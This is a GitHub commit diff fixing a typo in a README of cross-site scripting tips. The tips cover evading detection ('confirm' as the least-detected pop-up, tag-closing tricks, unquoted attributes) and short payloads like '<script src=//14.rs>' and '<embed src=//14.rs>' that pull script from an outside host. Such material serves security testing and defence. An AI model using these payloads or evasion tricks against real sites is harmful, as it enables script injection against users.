Update README.md

This commit is contained in:
Somdev Sangwan 2018-03-22 19:12:23 +05:30 committed by GitHub
parent 7d15dbd26c
commit adfbd1cde8
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -192,7 +192,7 @@ Come back later
- alert and other pop-up functions don't need a value, so stop doing **alert('XSS')** and start doing **alert()** - alert and other pop-up functions don't need a value, so stop doing **alert('XSS')** and start doing **alert()**
- You can use **//** to close a tag instead of **>**. - You can use **//** to close a tag instead of **>**.
- I have found that **confirm** is the least detected pop-up function so stop using **alert**. - I have found that **confirm** is the least detected pop-up function so stop using **alert**.
- Quotes around attribute value aren't neccessary as long as it doesn't contain spaces. You can use **<script src=//14.rs>** instead of **<script src="//14.rs"&glt;** - Quotes around attribute value aren't neccessary as long as it doesn't contain spaces. You can use **<script src=//14.rs>** instead of **<script src="//14.rs">**
- The shortest independent "XSS" payload is **<embed src=//14.rs>** (19 chars) - The shortest independent "XSS" payload is **<embed src=//14.rs>** (19 chars)
### Awesome Credits ### Awesome Credits